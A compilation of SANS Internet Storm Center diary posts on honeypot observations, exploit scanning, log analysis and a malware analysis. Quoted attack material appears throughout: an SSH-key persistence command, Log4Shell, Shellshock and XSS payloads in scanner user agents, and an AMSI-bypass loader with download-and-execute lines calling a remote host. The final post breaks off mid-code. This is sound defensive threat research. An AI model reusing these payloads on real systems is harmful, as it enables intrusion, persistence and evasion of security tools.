In June, Microsoft released a patch for %%cve:2023-29357%%, a critical privilege escalation vulnerability for Sharepoint. An exploit for this vulnerability was released in late September [1]. Combined with %%cve:2023-24955%%, a remote code execution vulnerability that was patched in May. The first vulnerability bypasses authentication to enable code execution via the second vulnerability.

Earlier today, I noticed the URL for CVE-2023-2023-29357 show up in our "first seen URL" list. This list notes URLs collected by our honeypots that reached certain thresholds for the first time. Our honeypots saw the first exploit attempts on September 30th, but at the time, they did not reach the threshold yet to be considered significant.

The attacks originate almost exclusively from %%ip:212.113.106.100%%, an IP address that ironically resolved to "rooted-pizzas.aeza.network'. The web server running on this server displays a homepage that indicates that it was compromised and defaced by a pro-Russian group

Russian Original	English Translation

The URL being scanned is /_api/web/siteusers. This URL is usually intended to retrieve user information from Sharepoint servers. The exploit will use it to retrieve a list of admin users and then spoof the administrator's identity, taking advantage of the vulnerability.

According to Aeza.net's geolocation feed, the server is located in Vienna and runs Ubuntu according to the server's banner. It is unlikely that the same Sharepoint vulnerability was used to exploit the server.

[1] https://github.com/Chocapikk/CVE-2023-29357

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Last week, ownCloud released an advisory disclosing a new vulnerability, CVE-2023-49103 [1]. The vulnerability will allow attackers to gain access to admin passwords. To exploit the vulnerability, the attacker will use the "graphapi" app to access the output of "phpinfo". If the ownCloud install runs in a container, it will allow access to admin passwords, mail server credentials, and license keys.

As of Sunday, we are seeing individual scans for one of the affected URLs:

/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php

Currently, there are 5 different IPs responsible for these scans:

Attacks against ownCloud are not rare. There is a pretty steady "trickle" of attacks against ownCloud. Many of them are likely just attempting to find instances of ownCloud to exploit old vulnerabilities or attempt weak passwords.

[1] https://owncloud.com/security-advisories/disclosure-of-sensitive-credentials-and-configuration-in-containerized-deployments/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

[This is a Guest Diary by Alex Rodriguez, an ISC intern as part of the SANS.edu BACS program]

Honeypots can be an effective means of discovering the variety of ways hackers target vulnerable systems on the Internet.  The first thing you may ask yourself is, “What is a honeypot?”  In short, it is a magnificent tool that can be attached to your home router and is designed to lure potential hackers into attacking it by pretending to be a vulnerable system.  As part of my internship with the SANS Internet Storm Center, I have had the pleasure of setting up a honeypot and monitoring activity to assist me in identifying some of the trends hackers use to target vulnerable systems.

Monitoring activity on a honeypot usually entailed reviewing logs, which in my case meant combing through JSON-formatted, SSH and Web logs looking for activity that piqued my interest. According to my SSH logs, the honeypot captured 26171 IP addresses, 48548 Source Ports, 13201 Usernames, and 43794 Passwords between July 30, 2023, and October 30, 2023. Listed below are the Top 10 IPs, Ports, Usernames, and Passwords captured during the four-month period: 

Although Port 1024 is within the user server range, Trojan activity has been associated with Port 1024 as indicated by the SANS Internet Storm Center: 

What is interesting about this login data is that the ratio between successful and failed logins is vastly different despite the total number of username and password combinations that were utilized.  On the other hand, a change in simple password or default password usage would increase this disparity even more.

Commands Captured by Honeypot

During the same period, 27096 commands were captured on the honeypot. Listed below are the Top 10 commands seen during the period: 

Top 10 Commands

The most interesting commands listed above are the first two, as they are normally used together to help maintain system access once a system is compromised.  The first command upon execution removes any attribute that would prevent overwriting the .ssh hidden file.  The next command would effectively add an attacker’s own SSH public key to .ssh in authorized_keys, to maintain access:

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

This command has been directly associated to the Outlaw Hacker Group by TrendMicro in 2018. Additional information concerning its usage and association with a Crypto-Botnet can be found by navigating to this site [1].

Uploaded Honeypot Files

Uploaded honeypot files are files uploaded to a honeypot by threat actors. These files can contain malware, exploits, backdoors, or other malicious content that can be analyzed to gain insights into the attacker's methods and intentions. During the four-month period, 8 binaries, a Bash shell script, and an empty file with the following SHA256 hash values were uploaded to the honeypot:

According to VirusTotal, 9 of the hashes listed above are all indicators of compromise, which consist of various Trojan and Miner families as well as a Bash shell script. The empty file with no threat label as indicated above is an empty file with zero bytes. In addition, this file has been categorized as stealer malware based on two Dynamic Analysis Sandbox Detections [3].  It seems interesting that even amongst the VirusTotal community there seems to be some debate as to whether this file is a threat. There is still not enough known about this file.

On the other hand, the XorDDoS Trojan listed above is well known and was first discovered by a white hat malware research group, MalwareMustDie [4]. The Trojan uses an XOR encryption key to encrypt all the data related to its execution. This Trojan is interesting as it has rootkit capabilities that infect Linux devices, transform them into zombies and subsequently controlled by attackers to execute malicious tasks remotely, including a DDoS attack. 

In conclusion, honeypots provide a wealth of information that would be useful to cybersecurity professionals as they help identify both old and new emerging threats being used against systems on the Internet. While exploits will forever haunt our systems exposed to the Internet, simple configuration adjustments and continual patching of systems; as well as utilizing password complexity best practices could assist in thwarting successful attacks.

[1] https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/
[2] https://isc.sans.edu/diary/DShield+Honeypot+Activity+for+May+2023/29932
[3] https://www.virustotal.com/gui/file/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855/detection
[4] https://blog.malwaremustdie.org/2015/09/mmd-0042-2015-polymorphic-in-elf.html
[5] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

I had to figure out when a OVA file was published (for a virtual machine). The Open Virtualization Format (OVF) is the standard for these files.

The OVF standard specifies that a OVF package consists of a folder containing files. One of them is an XML file with metadata, with extension .ovf. The others are typically components of a virtual machine, like disk images.

An OVA file (extension .ova) is a tar archive of an OVF package.

This command gives me the modified timestamp of the contained files:

And you can uze 7-zip if you want a GUI:

The .mf file contains hashes of the contained files:

This is one way to verify the hash of a contained file (the disk image, in this case):

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

About 10 days ago, new versions of Wireshark were released.

A new major Wireshark release: 4.2.0.

And a bugfix release: 4.0.11. With 8 bug fixes and 2 vulnerabilities fixed, one of them an SSH dissector crash.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

This is just an annual reminder that DShield, the engine behind the SANS Internet Storm Center, was originally coded over the Thanksgiving weekend in 2000 and made life shortly after. Below is an early screenshot (not the earliest one, but the earliest one I am not too embarrassed to post :) ).  The domain was registered a few months before I started coding the site (July 7th, so probably July 4th weekend), but I didn't get around to coding it before. The first "submission agent" was a one-liner shell script grepping logs from Syslog and piping them to sendmail to submit them :). There are not a lot of projects that have survived this long, and well, some of the early code (and certainly design decisions) may still live on today.

Thanks to all the SANS and all supporters, handlers, volunteers, code contributors, and everybody else helping keep this project alive.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

[This is a Guest Diary by Jonah Latimer, an ISC intern as part of the SANS.edu BACS program]

Introduction

I am currently pursuing a Bachelor degree from SANS Technology Institute, and part of the requirements for graduation is to complete a 20 week internship with the SANS Internet Storm Center. During this internship I created a honeypot using an Amazon EC2 instance, and overserved and reported on seven different attacks that were leveraged against it. The following blog post is going to dive into one of the vulnerabilities that I came across. 

Summary

My honeypot was attacked by an actor trying to exploit a fairly new vulnerability (CVE-2023-1389) that was publicly released in March of this year.  This particular exploit is found in vulnerable TP-Link Archer routers, and has been primarily been exploited by threat actors as a means to add devices to their botnets which are used for DDoS attacks.  I will be going over the vulnerability, and how to protect yourself from it. 

Initial Discovery

I was looking through my weblogs from October and stumbled upon the URL /cgi-bin/luci/;s tok=/locale from IP 103.127.78.55 which I hadn’t seen before.  I looked around on google a little bit and found out that this request is related to the vulnerability (CVE-2023-1389).

What is CVE-2023-1389?

CVE-2023-1389 is a command injection vulnerability (Mitre ATT&CK T1055) [1] with an 8.8 CVSS severity rating that affects TP- Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219. The command injection vulnerability is found in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface. Specifically, the country parameter of the write operation was not sanitized before being used in a call to popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple POST request. [2]  

Analysis

CVE-2023-1389 was publicly released in March of this year and first showed up on the ISC honeypots on 04-07-2023 but didn’t really start showing up more frequently until around September/October. 

The attack on my honeypot came from an IP address of 103.127.78.55. I searched VirusTotal for the attacker IP of 103.127.78.55 and seen “SCAN ELF/Mirai User-Agent Observed” under the community comments indicating the address is associated with the Mirai malware. [3]. 

While this was the only attack from this actor towards my honeypot, there where multiple attacks on other honeypots that targeted various devices. A few of these include: 

/cgi/networkDiag.cgi which targets Sunhillo SureLine surveillance products [4]
/goform/formSysCmd which targets JetWave pressure washers [5]
/uapi-cgi/certmngr.cgi which targets Geutebruck surveillance cameras [6]

How is CVE-2023-1389 being used in the wild?

CVE-2023-1389 has primarily been used as a way to expand botnets that are used is DDoS attacks. There have been reports that the Mirai malware botnet have been exploiting this vulnerability. Once access is gained to the device from the vulnerability “It then downloads the appropriate binary payload for the router's architecture to recruit the device into its botnet. The particular version of Mirai is focused on launching DDoS attacks, and its features indicate that it focuses primarily on game servers, having the ability to launch attacks against Valve Source Engine (VSE).” [7] 

This vulnerability is also being exploited by a relatively new botnet called Condi. The purpose for exploiting the vulnerability remains the same as that of Mirai. The “Condi botnet contains a scanning component which search the internet (on ports 80 or 8080) for vulnerable TP-Link routers, then sends a hard-coded exploitation code that downloads and execute a remote shell script to infect a vulnerable device. [8]  

Mitigations

TP-Link patched the vulnerability in April of this year, and pushed the firmware to customer’s whose devices are linked to a TP-Link Cloud account. For those who are still running a vulnerable version, updated firmware can be downloaded from the TP-Link official website here [9]

Conclusion

If there is a vulnerability that can be exploited by actors they will take advantage of it, that’s why it’s so important to stay up to date on patches, and know what devices are used in your environment. Firmware upgrades should be performed on your router on a regular basis to ensure that your device is secured against the latest threats and can usually be found on the routers company website. While CVE-2023-1389 has been primarily used for recruiting devices to botnets, it will be interesting to see what other creative uses actors use it for.

[1] Process Injection, Technique T1055 - Enterprise | MITRE ATT&CK®
[2] NVD - CVE-2023-1389 (nist.gov)
[3] https://www.virustotal.com/gui/ip-address/103.127.78.55
[4] NVD - CVE-2021-36380 (nist.gov)
[5] NVD - CVE-2023-23294 (nist.gov)
[6] Geutebruck Multiple Remote Command Execution (rapid7.com)
[7] TP-Link Archer WiFi router flaw exploited by Mirai malware (bleepingcomputer.com)
[8] Condi is a new botnet-for-hire with a business plan | TechSpot
[9] Download for Archer AX21 | TP-Link]
[10] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

While reviewing one of my honeypots to convert some of the JSON data, I noticed some of my files were much larger than I expected. That leads to the question, how large should these files normally be and why are some of them so large? To help summarize this data a bit easier, it seemed like a good idea to make another python script. 

import os
from statistics import mean, median

# function to print file size summaries for data sources
def print_stats(file_size_list, file_source):
    print(f"Total {file_source} files: {len(file_size_list)}")
    print(f"Low value: {round(min(file_size_list), 2)} MB")
    print(f"High value: {round(max(file_size_list), 2)} MB")
    print(f"Median: {round(median(file_size_list), 2)} MB")
    print(f"Mean: {round(mean(file_size_list), 2)} MB\n")

# get file sizes for files in list, convert to MB and return as a list
def get_file_sizes(file_list):
    file_sizes = []
    for eachfile in file_list:
        file_sizes.append(os.stat(eachfile).st_size / (1024 * 1024))
    return file_sizes

# initialize empty lists
cowrie_files = []
webhoneypot_files = []
cowrie_file_sizes = []
webhoneypot_file_sizes = []

# get files in the current directory
# anything starting with "cowrie.json" is a cowrie log
# anything starting with "webhoneypot-" is a web honeypot log
# append file names to the appropriat list
for eachfile in os.listdir():
    if eachfile.startswith("cowrie.json"):
        cowrie_files.append(eachfile)
    elif eachfile.startswith("webhoneypot-"):
        webhoneypot_files.append(eachfile)

# get file sizes for two sets of files
cowrie_file_sizes = get_file_sizes(cowrie_files)
webhoneypot_file_sizes = get_file_sizes(webhoneypot_files)

# print out results
print_stats(cowrie_file_sizes,"Cowrie")
print_stats(webhoneypot_file_sizes,"Web Honeypot")

Since I keep a backup of my logs in one directory, I just needed to run this script from that location. My data was limited due to some updates over the last couple of months, but it did highlight some outliers. 

Total Cowrie files: 40
Low value: 18.13 MB
High value: 197.12 MB
Median: 29.9 MB
Mean: 34.55 MB

Total Web Honeypot files: 107
Low value: 0.05 MB
High value: 9471.03 MB <-- Much higher than what is seen most of the time
Median: 7.75 MB
Mean: 269.66 MB

The median gives a good indication of files sizes to expect from these kinds of logs, at least for this device. It's also less influenced by some of these outliers.

• Cowrie logs: 34.55 MB
• Web Honeypot logs: 7.75 MB

The web honeypot logs are usually small and less than a quarter the size of the cowrie logs per day. However, when looking at the maximum size ("high value"), it's been up to over 9 GB in size. That's  over 1000 times higher than the anticipated median. 

Figure 1: Highlighted web honeypot logs, GBs in size, much higher than the median

There were multiple days when these files were over 1 GB in size (listed chronologically):

• 8/29/2023
• 9/26/2023
• 9/27/2023
• 10/31/2023
• 11/1/2023

So what happned on these days that was so unusual? Was it a particular source or something more distributed from multiple sources? Since it's a lot of data to proces, I decided to take a look day by day for any potential outliers, starting with source IP addresses first. 

cat webhoneypot-2023-08-29.json | jq .sip | sort | uniq -c | sort -rn | head -n 10
2963943 "80.243.171.172"
  50480 "43.163.232.152"
   3846 "185.44.82.40"
   3304 "205.169.39.71"
   1719 "205.169.39.211"
   1707 "45.128.232.183"
   1702 "65.49.1.93"
   1678 "205.169.39.154"
   1532 "64.62.197.148"
   1426 "205.169.39.114"


cat webhoneypot-2023-09-26.json | jq .sip | sort | uniq -c | sort -rn | head -n 10
12988686 "80.243.171.172"
   5713 "65.154.226.167"
   4826 "65.154.226.170"
   3598 "65.154.226.171"
   3419 "65.154.226.168"
   3003 "65.154.226.166"
   2894 "65.154.226.169"
    876 "209.159.153.74"
    871 "141.98.7.19"
    810 "205.169.39.124"


cat webhoneypot-2023-09-27.json | jq .sip | sort | uniq -c | sort -rn | head -n 10
4971285 "80.243.171.172"
   1489 "65.154.226.166"
   1115 "65.154.226.171"
   1083 "65.154.226.170"
    984 "205.169.39.241"
    849 "65.154.226.169"
    779 "205.169.39.139"
    684 "209.159.153.74"
    604 "205.169.39.83"
    555 "43.134.109.119"


cat webhoneypot-2023-10-31.json | jq .sip | sort | uniq -c | sort -rn | head -n 10
11595650 "80.243.171.172"
   3720 "80.94.95.226"
    922 "152.32.143.233"
    695 "83.97.73.87"
    619 "167.94.138.52"
    536 "80.82.77.202"
    488 "134.122.106.248"
    434 "84.54.51.190"
    423 "47.89.134.184"
    371 "104.199.31.214"


cat webhoneypot-2023-11-01.json | jq .sip | sort | uniq -c | sort -rn | head -n 10
4454361 "80.243.171.172"
    932 "159.223.4.194"
    919 "80.94.95.226"
    528 "43.135.86.121"
    306 "193.35.18.33"
    292 "205.210.31.227"
    217 "35.203.210.129"
    189 "109.237.97.180"
    179 "45.128.232.125"
    155 "162.243.151.30"

It can be seen that there was heavy activity coming from %%ip:80.243.171.172%%. Looking into the PCAP data only made this more interesting.

Figure 2: Wireshark example of access from IP address that may indicate a Qualys scan [1]

The data indicated that this may be a Qualys vulnerability scan, which many organizations use to understand their attack surface and public vulnerabilities. Similar "Qualys" text also appeared in the ICMP traffic surrounding this example. HTTP data after this also showed similar information. 

Figure 3: Wireshark display of QualysGuard in user-agent of HTTP data

The web honeypot logs also had some log indicators that this may be vulnerability scan traffic. 

Figure 4: Web honeypot logs showing "qualys-scan" key within the header data. 

Back to one of the JSON log files to see what other user agent strings may exist. 

cat webhoneypot-2023-10-31.json | jq 'select(.sip=="80.243.171.172")' \
| jq 'select(.useragent!="")' | jq .useragent[] | sort | uniq -c | sort -rn

 738913 "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0"
 419628 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"
  22000 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
  17317 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
  15985 "curl/7.47.0"
  10470 "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0"
   7548 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)"
   6650 "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729)"
   5524 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36"
   5307 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
   4578 "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0"
   4326 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0"
   4071 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
   3781 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"
   3433 "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0"
   2627 "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0"
   2418 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
   2255 "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14)"
   2199 "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
   2138 "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0"
   2031 "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
   2006 "<script>alert(Qualys)</script>"
   1986 "() { ignored; }; echo Content-Type: text/plain ; echo  ; echo ; /usr/bin/id"
   1980 "curl/7.60.0"
   1965 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
   1922 "Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0"
   1917 "Mozilla/5.0"
   1814 "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0"
   1794 "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
   1709 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101"
   1642 "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
   1613 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"
   1214 "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729);"
   1137 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
   1124 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0"
   1090 "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
   1085 "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36"
   1028 "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
   1006 "Node.js"
   1003 "curl/7.29.0"
    955 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
    935 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"
    904 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
    885 "${jndi:corba://10.10.11.42:42053/QUALYSTEST}"
    884 "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
    866 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:53.0) Gecko/20100101 Firefox/53.0"
    856 "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0"
    849 "Java/1.8.0_161"
    840 "${jndi:ldap://10.10.11.42:36802/QUALYSTEST}"
    821 "Gecko/20100914"
    818 "ZX-80 SPECTRUM"
    805 "Java/1.8.0_102"
    804 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
    788 "${jndi:corba://10.10.11.42:45518/QUALYSTEST}"
    783 "${jndi:http://10.10.11.42:38541/QUALYSTEST}"
    746 "${jndi:nis://10.10.11.42:39490/QUALYSTEST}"
    716 "${jndi:http://10.10.11.42:40385/QUALYSTEST}"
    670 "${jndi:corba://10.10.11.42:35892/QUALYSTEST}"
    667 "${jndi:ldaps://10.10.11.42:40503/QUALYSTEST}"
    665 "${jndi:nds://10.10.11.42:32940/QUALYSTEST}"
    657 "${jndi:nis://10.10.11.42:38126/QUALYSTEST}"
    589 "${jndi:rmi://10.10.11.42:41209/QUALYSTEST}"
    586 "${jndi:dns://10.10.11.42:35937/QUALYSTEST}"
    573 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0"
    554 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"
    541 "${jndi:nis://10.10.11.42:41346/QUALYSTEST}"
    540 "${jndi:nds://10.10.11.42:40149/QUALYSTEST}"
    538 "${jndi:nds://10.10.11.42:38541/QUALYSTEST}"
    529 "${jndi:ldaps://10.10.11.42:45149/QUALYSTEST}"
    521 "${jndi:iiop://10.10.11.42:42896/QUALYSTEST}"
    520 "${jndi:corba://10.10.11.42:45367/QUALYSTEST}"
    513 "${jndi:http://10.10.11.42:43708/QUALYSTEST}"
    508 "${jndi:rmi://10.10.11.42:36829/QUALYSTEST}"
    502 "${jndi:ldap://10.10.11.42:41141/QUALYSTEST}"
    481 "${jndi:nds://10.10.11.42:40385/QUALYSTEST}"
    465 "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101"
    432 ": Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
    430 "${jndi:nis://10.10.11.42:38444/QUALYSTEST}"
    428 "${jndi:http://10.10.11.42:40149/QUALYSTEST}"
    410 "${jndi:rmi://10.10.11.42:45149/QUALYSTEST}"
    384 "${jndi:rmi://10.10.11.42:35898/QUALYSTEST}"
    358 "${jndi:iiop://10.10.11.42:42053/QUALYSTEST}"
    347 "${jndi:iiop://10.10.11.42:45367/QUALYSTEST}"
    323 "${jndi:ldap://10.10.11.42:46567/QUALYSTEST}"
    322 "${jndi:nds://10.10.11.42:43708/QUALYSTEST}"
    318 "${jndi:ldap://10.10.11.42:40635/QUALYSTEST}"
    312 "${jndi:iiop://10.10.11.42:45518/QUALYSTEST}"
    308 "${jndi:rmi://10.10.11.42:40503/QUALYSTEST}"
    269 "${jndi:ldap://10.10.11.42:36326/QUALYSTEST}"
    252 "${jndi:dns://10.10.11.42:39490/QUALYSTEST}"
    233 "${jndi:dns://10.10.11.42:38126/QUALYSTEST}"
    211 "${jndi:corba://10.10.11.42:42896/QUALYSTEST}"
    200 "${jndi:iiop://10.10.11.42:35892/QUALYSTEST}"
    185 "${jndi:dns://10.10.11.42:41346/QUALYSTEST}"
    180 "${jndi:ldaps://10.10.11.42:41209/QUALYSTEST}"
    146 "${jndi:ldaps://10.10.11.42:36829/QUALYSTEST}"
    105 "${jndi:http://10.10.11.42:32940/QUALYSTEST}"
     78 "${jndi:dns://10.10.11.42:38444/QUALYSTEST}"
     77 "${jndi:ldaps://10.10.11.42:35898/QUALYSTEST}"
     75 "${jndi:nis://10.10.11.42:35937/QUALYSTEST}"
      1 "QualysGuard"

There are many references to "Qualys" in these different user agent strings. This may be a vulnerability scan, but I was unable to find a supporting Qualys document referencing this particular IP address. In many cases, vendors will list the IP addresses being used to scan. This can be helpful to tune settings for these kinds of scans, including log verbosity and firewall rules.

This honeypot is located in my home and would have anticiapted a more localized scanner. This IP address is specified in multiple sources as coming from Vienna. In either event, these kinds of scans can fill up storage quickly. When going back to my SIEM, I noticed I couldn't pull together a chart over time for the last two months. There's a storage limit and older data was removed to adhere to these limits. Luckily, I had local files to come back to. It highlights some good reminders:

• Determine a baseline for traffic volume or log storage, plan storage accordingly.
• Alert on deviations from the baseline volumes.
• Regularly tune the baseline to adjust for changes over time.
• Any scan traffic can fill up logs quickly, legitimate or not.
• Tools used to aggregate logs may lose data if other attacks fill up storage.
• Consider options to retain more data, including retaining the raw logs themselves.
• If you're using a vulnerability scanner, consider how this will impact any local or aggregated log storage, including workstations, servers, networking equipment, etc.
• Running 'jq' queries can take a lot of time. Having faster query mechanisms, like a SIEM with all your data, can save time.

[1] https://www.qualys.com/

--
Jesse La Grew
Handler

SharpLoader is a very old project! I found repositories on Gitlab that are 8 years old[1]! Its purpose is to load and uncompress a C# payload from a remote web server or a local file to execute it. There exists also a Powershell version of this loader[2].

I found a Powershell script almost undetected by antiviruses (its VT score is 1/60[3]). First, it implements the classic technique to disable AMSI:

function InvokeAMSBP {
    param (
        [int]$Length = 10
    )

    $randomName = -join ((65..90) + (97..122) | Get-Random -Count $Length | % { [char]$_ })

    if (-not ([System.Management.Automation.PSTypeName]"BP.AMS").Type) {
        $byteArray = (121,12,210,23,62,52,86,66, ...removed... ,86,66,23,61,52,86,66,23,61,52,86,66,23,61,52,86,66,23,61,52)
        $KeyArray = @(52, 86, 66, 23, 61)
        $keyposition = 0
        for ($i = 0; $i -lt $byteArray.count; $i++)
        {
            $byteArray[$i] = $byteArray[$i] -bxor $KeyArray[$keyposition]
            $keyposition += 1
            if ($keyposition -eq $keyArray.Length) { $keyposition = 0 }
        }
        [Reflection.Assembly]::Load([byte[]]$byteArray) | Out-Null
        Write-Output "DLL has been reflected"
    }
    [BP.AMS]::Disable()

   Write-Output "READY 2 SHELL: AMSI PATCHED RANDOMENAME: $randomName"
}

InvokeAMSBP

This technique is widespread and easy to implement[4].

Then, the script downloads and executes a second PowerShell payload:

$uri = 'hxxp://5[.]206[.]224[.]58/MGQ3YTFjZDVkMjI5OTEzMj/uploads/STAGERS/stager_SC_Loader_rat.ps1'
$str = "IEX ((new-object net.webclient).downloadstring('$uri'))"

The second stage script calls another one:

(New-Object Net.WebClient).DownloadString('hxxp://5[.]206[.]224[.]58/MGQ3YTFjZDVkMjI5OTEzMj/cat/MODULS/SC_Loader_rat0.ps1') | IEX

Note that all scripts implement the same technique to bypass AMSI.

And another is one is executed. This one is more interesting because it contains the SharpLoader:

[Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEA ...removed... AAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null
[SharpLoader.Program]::Main("
    hxxp://5[.]206[.]224[.]58/MGQ3YTFjZDVkMjI5OTEzMj/cat/RESURCE/Client-built0.enc",
    "EnotPoloSkuNp0loSkal3vOyp1SUn")

You can see an interesting Base64-encoded payload starting with "TVqQAAM". This reveals the presence of an executable, our loader, probably. This version is a DLL and has been written in .Net (SHA256:021e91b78ccb0ed543aa36fb607c92634cb6054fc63048f7de66ab825b1a38c2)[5].

Let's try to decompile it. Good news, it's not obfuscated:

root@remnux:/MalwareZoo/20231116# ilspycmd sharploader.dll 
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Reflection;
...

Most of the code remains the same compared to the older version of the loader, but there are some improvements. Here again, AMSI is bypassed. The technique used here is to hook the function AmsiScanBuffer(). Basically, it will always return "S_OK" meaning that the code is not malicious.

private static void gofor(byte[] patch)
{
    try
        {
            string str = "am";
            string str2 = "si";
            string str3 = ".dll";
            IntPtr hModule = Win32.LoadLibrary(str + str2 + str3);
            string str4 = "Am";
            string str5 = "siScan";
            string str6 = "Buffer";
            IntPtr procAddress = Win32.GetProcAddress(hModule, str4 + str5 + str6);
            Win32.VirtualProtect(procAddress, (UIntPtr)(ulong)patch.Length, 64u, out var _);
            Marshal.Copy(patch, 0, procAddress, patch.Length);
        }
    catch (Exception ex)
        {
            Console.WriteLine(" [x] {0}", (object)ex.Message);
            Console.WriteLine(" [x] {0}", (object)ex.InnerException);
        }
}

Here is the main() function called from the last PowerShell script (see above). It expects two parameters: The C# payload and the encryption password.

public static void Main(params string[] args)
{
     PrintBanner();
     if (args.Length != 2)
     {
         Console.WriteLine("Parameters missing");
     }
     string text = args[0];
     string value = "http";
     string encodedData;
